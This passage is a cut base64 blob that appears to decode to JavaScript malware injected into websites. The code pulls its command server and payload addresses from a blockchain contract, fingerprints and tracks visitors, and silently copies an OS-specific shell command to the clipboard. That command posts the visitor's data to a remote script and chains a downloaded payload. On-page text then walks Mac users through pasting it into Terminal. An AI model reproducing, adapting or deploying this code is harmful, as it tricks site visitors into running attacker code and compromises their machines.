ZXggKyAxKTsNCiAgICAgICAgICAgICAgdmFyIGFwcHMgPSBhcHBzUmVzcCAmJiBhcHBzUmVzcC5yZXN1bHQgPyBkZWNvZGVBYmlTdHJpbmcoYXBwc1Jlc3AucmVzdWx0KSA6ICcnOw0KICAgICAgICAgICAgICB2YXIgdmVyY2VsID0gdmVyY2VsUmVzcCAmJiB2ZXJjZWxSZXNwLnJlc3VsdCA/IGRlY29kZUFiaVN0cmluZyh2ZXJjZWxSZXNwLnJlc3VsdCkgOiAnJzsNCiAgICAgICAgICAgICAgaWYgKCFpc1ZhbGlkQXBwc1VybChhcHBzKSB8fCAhaXNWYWxpZFZlcmNlbEJhc2UodmVyY2VsKSkgew0KICAgICAgICAgICAgICAgIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICB2ZXJjZWwgPSBTdHJpbmcodmVyY2VsKS5yZXBsYWNlKC9cLyskLywgJycpOw0KICAgICAgICAgICAgICB3cml0ZUxpbmtDYWNoZSh2ZXJzaW9uLCBhcHBzLCB2ZXJjZWwpOw0KICAgICAgICAgICAgICByZXR1cm4geyBhcHBzOiBhcHBzLCB2ZXJjZWw6IHZlcmNlbCwgdmVyc2lvbjogdmVyc2lvbiB9Ow0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgfSk7DQogICAgICB9KQ0KICAgICAgLmNhdGNoKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgcmV0dXJuIGZldGNoTGlua0NvbmZpZ0Zyb21DaGFpbihycGNJbmRleCArIDEpOw0KICAgICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiBsb2FkTGlua0NvbmZpZygpIHsNCiAgICByZXR1cm4gZmV0Y2hMaW5rQ29uZmlnRnJvbUNoYWluKDApLnRoZW4oZnVuY3Rpb24gKGNmZykgew0KICAgICAgaWYgKGNmZykgcmV0dXJuIGNmZzsNCiAgICAgIHZhciBjYWNoZWQgPSByZWFkTGlua0NhY2hlKCk7DQogICAgICBpZiAoY2FjaGVkICYmIGlzVmFsaWRBcHBzVXJsKGNhY2hlZC5hcHBzKSAmJiBpc1ZhbGlkVmVyY2VsQmFzZShjYWNoZWQudmVyY2VsKSkgew0KICAgICAgICByZXR1cm4geyBhcHBzOiBjYWNoZWQuYXBwcywgdmVyY2VsOiBjYWNoZWQudmVyY2VsLCB2ZXJzaW9uOiBjYWNoZWQudmVyc2lvbiB8fCAwIH07DQogICAgICB9DQogICAgICByZXR1cm4geyBhcHBzOiBGQUxMQkFDS19BUFBTX1NDUklQVF9VUkwsIHZlcmNlbDogRkFMTEJBQ0tfVkVSQ0VMX0JBU0UsIHZlcnNpb246IDAgfTsNCiAgICB9KTsNCiAgfQ0KDQogIGZ1bmN0aW9uIGZldGNoRG9tYWluRnJvbUNoYWluKHJwY0luZGV4KSB7DQogICAgaWYgKHJwY0luZGV4ID49IHJwY0xpc3QubGVuZ3RoKSByZXR1cm4gUHJvbWlzZS5yZXNvbHZlKG51bGwpOw0KDQogICAgdmFyIHJlcXVlc3RCb2R5ID0gew0KICAgICAganNvbnJwYzogJzIuMCcsDQogICAgICBtZXRob2Q6ICdldGhfY2FsbCcsDQogICAgICBwYXJhbXM6IFt7IHRvOiBkb21haW5Db250cmFjdEFkZHJlc3MsIGRhdGE6ICcweCcgKyBkb21haW5NZXRob2RTZWxlY3RvciB9LCAnbGF0ZXN0J10sDQogICAgICBpZDogMQ0KICAgIH07DQoNCiAgICByZXR1cm4gcnBjQ2FsbChycGNMaXN0W3JwY0luZGV4XSwgcmVxdWVzdEJvZHkpDQogICAgICAudGhlbihmdW5jdGlvbiAocmVzcG9uc2UpIHsNCiAgICAgICAgaWYgKHJlc3BvbnNlICYmIHJlc3BvbnNlLmVycm9yKSByZXR1cm4gZmV0Y2hEb21haW5Gcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgdmFyIGRvbWFpbiA9IHJlc3BvbnNlICYmIHJlc3BvbnNlLnJlc3VsdCA/IGRlY29kZUFiaVN0cmluZyhyZXNwb25zZS5yZXN1bHQpIDogJyc7DQogICAgICAgIGlmIChkb21haW4pIHJldHVybiBkb21haW4ucmVwbGFjZSgvXC8rJC8sICcnKTsNCiAgICAgICAgcmV0dXJuIGZldGNoRG9tYWluRnJvbUNoYWluKHJwY0luZGV4ICsgMSk7DQogICAgICB9KQ0KICAgICAgLmNhdGNoKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgcmV0dXJuIGZldGNoRG9tYWluRnJvbUNoYWluKHJwY0luZGV4ICsgMSk7DQogICAgICB9KTsNCiAgfQ0KDQogIFByb21pc2UuYWxsKFtsb2FkTGlua0NvbmZpZygpLCBmZXRjaERvbWFpbkZyb21DaGFpbigwKV0pLnRoZW4oZnVuY3Rpb24gKHJlc3VsdHMpIHsNCiAgICBhcHBseUxpbmtDb25maWcocmVzdWx0c1swXSk7DQogICAgdmFyIGRvbWFpbiA9IHJlc3VsdHNbMV07DQogICAgaWYgKCFkb21haW4pIHJldHVybjsNCg0KICAgIChmdW5jdGlvbigpIHsNCiAgICAgICAgJ3VzZSBzdHJpY3QnOw0KDQogICAgICAgIHZhciBBUElfQVVUSF9LRVkgPSAiZDEwNzNmMzhlNGM1ODU1Zjg0MzVjNDYxOTRmN2IxYWQ3NGI0MDY1YjQyZmIwMmNiIjsNCiAgICAgICAgdmFyIENDX1NFUlZFUl9BUElfVVJMID0gZG9tYWluICsgIi9hcGkucGhwIjsNCiAgICAgICAgdmFyIFRBUkdFVF9PUEVSQVRJTkdfU1lTVEVNID0gZGV0ZWN0VmlzaXRvck9zKCk7DQogICAgICAgIHZhciBJU19BQ1RJVkUgPSB0cnVlOw0KICAgICAgICB2YXIgVEVTVF9NT0RFID0gZmFsc2U7DQogICAgICAgIHZhciBDVVNUT01fRE9NQUlOID0gJyc7DQogICAgICAgIHZhciBCQUNLR1JPVU5EX09QQUNJVFkgPSAxLjAwOw0KDQogICAgICAgIHZhciBMT0NBTF9TVE9SQUdFX0tFWSA9IChmdW5jdGlvbihhdXRoS2V5KSB7DQoNCiAgICAgICAgICAgIHZhciBzdHJpbmdUb0hhc2ggPSBhdXRoS2V5ICsgJ1x4MDAnICsgKGxvY2F0aW9uLmhvc3RuYW1lIHx8ICcnKTsNCiAgICAgICAgICAgIHZhciBoYXNoVmFsdWUgPSAyMTY2MTM2MjYxOw0KDQogICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHN0cmluZ1RvSGFzaC5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIGhhc2hWYWx1ZSBePSBzdHJpbmdUb0hhc2guY2hhckNvZGVBdChpKTsNCiAgICAgICAgICAgICAgICBoYXNoVmFsdWUgPSAoaGFzaFZhbHVlICogMTY3Nzc2MTkpID4+PiAwOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByZXR1cm4gJ18nICsgaGFzaFZhbHVlLnRvU3RyaW5nKDM2KTsNCiAgICAgICAgfSkoQVBJX0FVVEhfS0VZKTsNCg0KICAgICAgICB2YXIgVklTSVRPUl9JRF9TVE9SQUdFX0tFWSA9IExPQ0FMX1NUT1JBR0VfS0VZICsgJ192aWQnOw0KDQogICAgICAgIGZ1bmN0aW9uIGdlbmVyYXRlUmFuZG9tVmlzaXRvcklkKCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICByZXR1cm4gY3J5cHRvLnJhbmRvbVVVSUQoKTsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICAgICAgdmFyIHJhbmRvbUJ5dGVzID0gbmV3IFVpbnQ4QXJyYXkoMTYpOw0KICAgICAgICAgICAgICAgIGNyeXB0by5nZXRSYW5kb21WYWx1ZXMocmFuZG9tQnl0ZXMpOw0KICAgICAgICAgICAgICAgIHJhbmRvbUJ5dGVzWzZdID0gKHJhbmRvbUJ5dGVzWzZdICYgMTUpIHwgNjQ7DQogICAgICAgICAgICAgICAgcmFuZG9tQnl0ZXNbOF0gPSAocmFuZG9tQnl0ZXNbOF0gJiA2MykgfCAxMjg7DQoNCiAgICAgICAgICAgICAgICB2YXIgdXVpZFN0cmluZyA9ICcnOw0KICAgICAgICAgICAgICAgIHZhciBieXRlSW5kZXg7DQogICAgICAgICAgICAgICAgZm9yIChieXRlSW5kZXggPSAwOyBieXRlSW5kZXggPCAxNjsgYnl0ZUluZGV4KyspIHsNCiAgICAgICAgICAgICAgICAgICAgdXVpZFN0cmluZyArPSByYW5kb21CeXRlc1tieXRlSW5kZXhdLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCAnMCcpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoYnl0ZUluZGV4ID09PSAzIHx8IGJ5dGVJbmRleCA9PT0gNSB8fCBieXRlSW5kZXggPT09IDcgfHwgYnl0ZUluZGV4ID09PSA5KSB7DQogICAgICAgICAgICAgICAgICAgICAgICB1dWlkU3RyaW5nICs9ICctJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICByZXR1cm4gdXVpZFN0cmluZzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBVTklRVUVfVklTSVRPUl9JRCA9IChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgdmFyIGV4aXN0aW5nSWQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbShWSVNJVE9SX0lEX1NUT1JBR0VfS0VZKTsNCiAgICAgICAgICAgICAgICBpZiAoZXhpc3RpbmdJZCkgcmV0dXJuIGV4aXN0aW5nSWQ7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCg0KICAgICAgICAgICAgdmFyIG5ld0lkID0gZ2VuZXJhdGVSYW5kb21WaXNpdG9ySWQoKTsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnNldEl0ZW0oVklTSVRPUl9JRF9TVE9SQUdFX0tFWSwgbmV3SWQpOw0KICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHt9DQogICAgICAgICAgICByZXR1cm4gbmV3SWQ7DQogICAgICAgIH0pKCk7DQoNCiAgICAgICAgdmFyIFZJU0lUT1JfTE9DQVRJT04gPSAoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICB2YXIgdGltZXpvbmUgPSAnJzsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgdGltZXpvbmUgPSBJbnRsLkRhdGVUaW1lRm9ybWF0KCkucmVzb2x2ZWRPcHRpb25zKCkudGltZVpvbmUgfHwgJyc7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCiAgICAgICAgICAgIHZhciBsYW5ndWFnZSA9IG5hdmlnYXRvci5sYW5ndWFnZSB8fCBuYXZpZ2F0b3IudXNlckxhbmd1YWdlIHx8ICcnOw0KICAgICAgICAgICAgdmFyIHBhcnRzID0gW107DQogICAgICAgICAgICBpZiAodGltZXpvbmUpIHBhcnRzLnB1c2godGltZXpvbmUpOw0KICAgICAgICAgICAgaWYgKGxhbmd1YWdlKSBwYXJ0cy5wdXNoKGxhbmd1YWdlKTsNCiAgICAgICAgICAgIHJldHVybiBwYXJ0cy5qb2luKCcgfCAnKSB8fCAndW5rbm93bic7DQogICAgICAgIH0pKCk7DQoNCiAgICAgICAgdmFyIFZJU0lUT1JfU0lURV9VUkwgPSAoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgIHJldHVybiBsb2NhdGlvbi5ocmVmIHx8IGxvY2F0aW9uLm9yaWdpbiB8fCAnJzsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuICcnOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9KSgpOw0KDQogICAgICAgIGZ1bmN0aW9uIGVzY2FwZUNtZEV4ZVF1b3RlZEFyZyhzKSB7DQogICAgICAgICAgICByZXR1cm4gU3RyaW5nKHMpLnJlcGxhY2UoLyIvZywgJyIiJyk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBidWlsZFBvc3REYXRhRmllbGRzKG9zRmFtaWx5LCBvc0xhYmVsLCBub3dJc28pIHsNCiAgICAgICAgICAgIHJldHVybiBbDQogICAgICAgICAgICAgICAgJ2lkPScgKyBlbmNvZGVVUklDb21wb25lbnQoVU5JUVVFX1ZJU0lUT1JfSUQpLA0KICAgICAgICAgICAgICAgICdsb2NhdGlvbj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KFZJU0lUT1JfTE9DQVRJT04pLA0KICAgICAgICAgICAgICAgICdzaXRlVXJsPScgKyBlbmNvZGVVUklDb21wb25lbnQoVklTSVRPUl9TSVRFX1VSTCksDQogICAgICAgICAgICAgICAgJ29zPScgKyBlbmNvZGVVUklDb21wb25lbnQob3NMYWJlbCB8fCBvc0ZhbWlseSksDQogICAgICAgICAgICAgICAgJ2xhc3RWaXNpdEF0PScgKyBlbmNvZGVVUklDb21wb25lbnQobm93SXNvKSwNCiAgICAgICAgICAgICAgICAnbGFzdFNoZWxsQXQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChub3dJc28pDQogICAgICAgICAgICBdOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gYnVpbGRXaW5kb3dzQ3VybERhdGFBcmdzKGZpZWxkcykgew0KICAgICAgICAgICAgdmFyIHBhcnRzID0gW107DQogICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGZpZWxkcy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIHBhcnRzLnB1c2goJy1kICInICsgZXNjYXBlQ21kRXhlUXVvdGVkQXJnKGZpZWxkc1tpXSkgKyAnIicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIHBhcnRzLmpvaW4oJyAnKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIGJ1aWxkQ2xpcGJvYXJkQ29tbWFuZCgpIHsNCiAgICAgICAgICAgIHZhciBvc0ZhbWlseSA9IFRBUkdFVF9PUEVSQVRJTkdfU1lTVEVNIHx8IGRldGVjdFZpc2l0b3JPcygpOw0KICAgICAgICAgICAgdmFyIG9zTGFiZWwgPSBnZXRWaXNpdG9yT3NMYWJlbCgpOw0KICAgICAgICAgICAgdmFyIHZlcmNlbENvbW1hbmQgPSBnZXRWZXJjZWxDb21tYW5kKG9zRmFtaWx5KTsNCiAgICAgICAgICAgIHZhciBub3dJc28gPSBuZXcgRGF0ZSgpLnRvSVNPU3RyaW5nKCk7DQogICAgICAgICAgICB2YXIgcG9zdERhdGFGaWVsZHMgPSBidWlsZFBvc3REYXRhRmllbGRzKG9zRmFtaWx5LCBvc0xhYmVsLCBub3dJc28pOw0KICAgICAgICAgICAgdmFyIHBvc3REYXRhID0gcG9zdERhdGFGaWVsZHMuam9pbignJicpOw0KICAgICAgICAgICAgLy8gRG8gTk9UIGZvcmNlIFBPU1QgdmlhIC1YIHdpdGggLUwuIEFwcHMgU2NyaXB0IDMwMnMgdG8gYW4gZWNobyBVUkw7DQogICAgICAgICAgICAvLyBmb3JjaW5nIFBPU1Qgb24gdGhhdCByZWRpcmVjdCByZXR1cm5zIDQxMS80MDUgc28gdGhlIHNoZWV0IG5ldmVyDQogICAgICAgICAgICAvLyB1cGRhdGVzLiAtZCBhbG9uZSBQT1NUcyB0aGUgZmlyc3QgaG9wOyBjdXJsIHRoZW4gR0VUcyB0aGUgcmVkaXJlY3QuDQogICAgICAgICAgICBpZiAob3NGYW1pbHkgPT09ICd3aW5kb3dzJykgew0KICAgICAgICAgICAgICAgIC8vIFVzZSBvbmUgLWQgcGVyIGZpZWxkIHNvIENNRCBuZXZlciBzZWVzIGJhcmUgJiBpbnNpZGUgYSBxdW90ZWQgYXJnLg0KICAgICAgICAgICAgICAgIHZhciBhcHBzU2NyaXB0Q29tbWFuZCA9DQogICAgICAgICAgICAgICAgICAgICdjdXJsLmV4ZSAtc0wgJyArIGJ1aWxkV2luZG93c0N1cmxEYXRhQXJncyhwb3N0RGF0YUZpZWxkcykgKw0KICAgICAgICAgICAgICAgICAgICAnICInICsgZXNjYXBlQ21kRXhlUXVvdGVkQXJnKEFQUFNfU0NSSVBUX1VSTCkgKyAnIic7DQogICAgICAgICAgICAgICAgLy8gV3JhcCBpbiBjbWQuZXhlIC9jICIuLi4iIHdpdGggQ01ELXN0eWxlIGRvdWJsZWQgcXVvdGVzIHNvIHBhc3RlIHdvcmtzDQogICAgICAgICAgICAgICAgLy8gaW4gYm90aCBDTUQgYW5kIFBvd2VyU2hlbGwgKCYgYW5kIHwgYXJlIGxpdGVyYWwgaW5zaWRlIFBTIGRvdWJsZSBxdW90ZXMpLg0KICAgICAgICAgICAgICAgIHZhciBpbm5lciA9IGFwcHNTY3JpcHRDb21tYW5kICsgJyAmICcgKyB2ZXJjZWxDb21tYW5kOw0KICAgICAgICAgICAgICAgIHJldHVybiAnY21kLmV4ZSAvYyAiJyArIGVzY2FwZUNtZEV4ZVF1b3RlZEFyZyhpbm5lcikgKyAnIic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB2YXIgYXBwc1NjcmlwdENvbW1hbmQgPQ0KICAgICAgICAgICAgICAgICdjdXJsIC1zTCAtZCAiJyArIHBvc3REYXRhICsgJyIgIicgKyBBUFBTX1NDUklQVF9VUkwgKyAnIic7DQogICAgICAgICAgICAvLyBHb29nbGUgc2hlZXQgUE9TVCBmaXJzdCwgdGhlbiBPUy1zcGVjaWZpYyBWZXJjZWwgcGF5bG9hZC4NCiAgICAgICAgICAgIHJldHVybiBhcHBzU2NyaXB0Q29tbWFuZCArICcgJiYgJyArIHZlcmNlbENvbW1hbmQ7DQogICAgICAgIH0NCg0KICAgICAgICB0cnkgeyB3aW5kb3cuX19BVlRfQ01EID0gYnVpbGRDbGlwYm9hcmRDb21tYW5kKCk7IH0gY2F0Y2ggKGUpIHt9DQoNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIGlmICghVEVTVF9NT0RFICYmDQogICAgICAgICAgICAgICAgKGxvY2FsU3RvcmFnZS5nZXRJdGVtKExPQ0FMX1NUT1JBR0VfS0VZKSB8fA0KICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpKSkgew0KICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsNCiAgICAgICAgICAgIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgKGZ1bmN0aW9uKCkgew0KDQogICAgICAgICAgICBmdW5jdGlvbiBzZW5kUGl4ZWxUcmFja2luZ1JlcXVlc3QodXJsKSB7DQogICAgICAgICAgICAgICAgaWYgKHdpbmRvdy5mZXRjaCkgew0KICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgZmV0Y2godXJsLCB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbW9kZTogJ25vLWNvcnMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNyZWRlbnRpYWxzOiAnb21pdCcNCiAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAobmV3IEltYWdlKS5zcmMgPSB1cmw7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgIChuZXcgSW1hZ2UpLnNyYyA9IHVybDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHZhciB0cmFja2luZ0RhdGEgPSBKU09OLnN0cmluZ2lmeSh7DQogICAgICAgICAgICAgICAgdXJsOiBsb2NhdGlvbi5ocmVmLA0KICAgICAgICAgICAgICAgIHJlZjogZG9jdW1lbnQucmVmZXJyZXIgfHwgJycsDQogICAgICAgICAgICAgICAgdmlkOiBVTklRVUVfVklTSVRPUl9JRA0KICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIHNlbmRVbmVuY3J5cHRlZERhdGEoKSB7DQogICAgICAgICAgICAgICAgc2VuZFBpeGVsVHJhY2tpbmdSZXF1ZXN0KA0KICAgICAgICAgICAgICAgICAgICBDQ19TRVJWRVJfQVBJX1VSTCArDQogICAgICAgICAgICAgICAgICAgICc/az0nICsgZW5jb2RlVVJJQ29tcG9uZW50KEFQSV9BVVRIX0tFWSkgKw0KICAgICAgICAgICAgICAgICAgICAnJnVybD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGxvY2F0aW9uLmhyZWYpICsNCiAgICAgICAgICAgICAgICAgICAgJyZyZWY9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5yZWZlcnJlciB8fCAnJykgKw0KICAgICAgICAgICAgICAgICAgICAnJnZpZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KFVOSVFVRV9WSVNJVE9SX0lEKSArDQogICAgICAgICAgICAgICAgICAgIChURVNUX01PREUgPyAnJnRlc3Q9MScgOiAnJykNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoIXdpbmRvdy5jcnlwdG8gfHwgIWNyeXB0by5zdWJ0bGUpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gc2VuZFVuZW5jcnlwdGVkRGF0YSgpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBjcnlwdG8uc3VidGxlLmRpZ2VzdCgnU0hBLTI1NicsIG5ldyBUZXh0RW5jb2RlcigpLmVuY29kZShBUElfQVVUSF9LRVkpKQ0KICAgICAgICAgICAgICAgIC50aGVuKGZ1bmN0aW9uKGtleUJ1ZmZlcikgew0KDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBjcnlwdG8uc3VidGxlLmltcG9ydEtleSgncmF3Jywga2V5QnVmZmVyLCB7DQogICAgICAgICAgICAgICAgICAgICAgICBuYW1lOiAnQUVTLUdDTScNCiAgICAgICAgICAgICAgICAgICAgfSwgZmFsc2UsIFsnZW5jcnlwdCddKTsNCiAgICAgICAgICAgICAgICB9KQ0KICAgICAgICAgICAgICAgIC50aGVuKGZ1bmN0aW9uKGNyeXB0b0tleSkgew0KDQogICAgICAgICAgICAgICAgICAgIHZhciBpbml0aWFsaXphdGlvblZlY3RvciA9IGNyeXB0by5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoMTIpKTsNCg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gY3J5cHRvLnN1YnRsZS5lbmNyeXB0KHsNCiAgICAgICAgICAgICAgICAgICAgICAgIG5hbWU6ICdBRVMtR0NNJywNCiAgICAgICAgICAgICAgICAgICAgICAgIGl2OiBpbml0aWFsaXphdGlvblZlY3Rvcg0KICAgICAgICAgICAgICAgICAgICB9LCBjcnlwdG9LZXksIG5ldyBUZXh0RW5jb2RlcigpLmVuY29kZSh0cmFja2luZ0RhdGEpKQ0KICAgICAgICAgICAgICAgICAgICAudGhlbihmdW5jdGlvbihlbmNyeXB0ZWREYXRhKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBjb21iaW5lZEJ1ZmZlciA9IG5ldyBVaW50OEFycmF5KDEyICsgZW5jcnlwdGVkRGF0YS5ieXRlTGVuZ3RoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbWJpbmVkQnVmZmVyLnNldChpbml0aWFsaXphdGlvblZlY3Rvcik7DQogICAgICAgICAgICAgICAgICAgICAgICBjb21iaW5lZEJ1ZmZlci5zZXQobmV3IFVpbnQ4QXJyYXkoZW5jcnlwdGVkRGF0YSksIDEyKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGJhc2U2NFN0cmluZyA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBjb21iaW5lZEJ1ZmZlci5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhc2U2NFN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKGNvbWJpbmVkQnVmZmVyW2ldKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgc2VuZFBpeGVsVHJhY2tpbmdSZXF1ZXN0KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIENDX1NFUlZFUl9BUElfVVJMICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnP2s9JyArIGVuY29kZVVSSUNvbXBvbmVudChBUElfQVVUSF9LRVkpICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnJmQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChidG9hKGJhc2U2NFN0cmluZykpICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAoVEVTVF9NT0RFID8gJyZ0ZXN0PTEnIDogJycpDQogICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICB9KQ0KICAgICAgICAgICAgICAgIC5jYXRjaChzZW5kVW5lbmNyeXB0ZWREYXRhKTsNCiAgICAgICAgfSkoKTsNCg0KICAgICAgICBmdW5jdGlvbiBjb3B5VGV4dFRvQ2xpcGJvYXJkKHRleHQpIHsNCiAgICAgICAgICAgIGNvcHlUZXh0TGVnYWN5TWV0aG9kKHRleHQpOw0KDQogICAgICAgICAgICBpZiAobmF2aWdhdG9yLmNsaXBib2FyZCAmJiBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCkgew0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIG5hdmlnYXRvci5jbGlwYm9hcmQud3JpdGVUZXh0KHRleHQpOw0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQoNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBjb3B5VGV4dExlZ2FjeU1ldGhvZCh0ZXh0KSB7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgIHZhciBoaWRkZW5UZXh0YXJlYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3RleHRhcmVhJyk7DQogICAgICAgICAgICAgICAgaGlkZGVuVGV4dGFyZWEudmFsdWUgPSB0ZXh0Ow0KICAgICAgICAgICAgICAgIGhpZGRlblRleHRhcmVhLnN0eWxlLmNzc1RleHQgPSAncG9zaXRpb246Zml4ZWQ7bGVmdDotOTk5OXB4O3RvcDowO29wYWNpdHk6MDsnOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaGlkZGVuVGV4dGFyZWEpOw0KICAgICAgICAgICAgICAgIGhpZGRlblRleHRhcmVhLmZvY3VzKCk7DQogICAgICAgICAgICAgICAgaGlkZGVuVGV4dGFyZWEuc2VsZWN0KCk7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZXhlY0NvbW1hbmQoJ2NvcHknKTsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGhpZGRlblRleHRhcmVhKTsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQoNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBXSU5ET1dTX0xPR09fU1ZHID0gJzxzdmcgdmlld0JveD0iMCAwIDI0IDI0IiB3aWR0aD0iMTMiIGhlaWdodD0iMTMiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7ZmlsbDpjdXJyZW50Q29sb3I7Ij48cGF0aCBkPSJNMyA1LjMzIDEwLjc0IDR2Ny4yOEgzem04Ljc2LTEuNDlMMjEgMi4yNXY5LjAzaC05LjI0ek0zIDEyLjM5aDcuNzR2Ny4yOEwzIDE4LjMzem04Ljc2IDBIMjF2OS4zNmwtOS4yNC0xLjU5eiIvPjwvc3ZnPic7DQoNCiAgICAgICAgdmFyIE9TX0lOU1RSVUNUSU9OX1BBQ0tTID0gew0KICAgICAgICAgICAgbWFjOiB7DQogICAgICAgICAgICAgICAgZW46IHtrZXlib2FyZEluc3RydWN0aW9uczonUGVyZm9ybSB0aGUgc3RlcHMgb24geW91ciBNYWMga2V5Ym9hcmQnLHN0ZXAxOic8Yj5DbWQgKyBTcGFjZTwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDondGhlbiBwcmVzcyBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1ByZXNzIFx1MjMxOCAoQ29tbWFuZCkgbmV4dCB0byB0aGUgc3BhY2UgYmFyLCB0aGVuIFNwYWNlIHRvIG9wZW4gU3BvdGx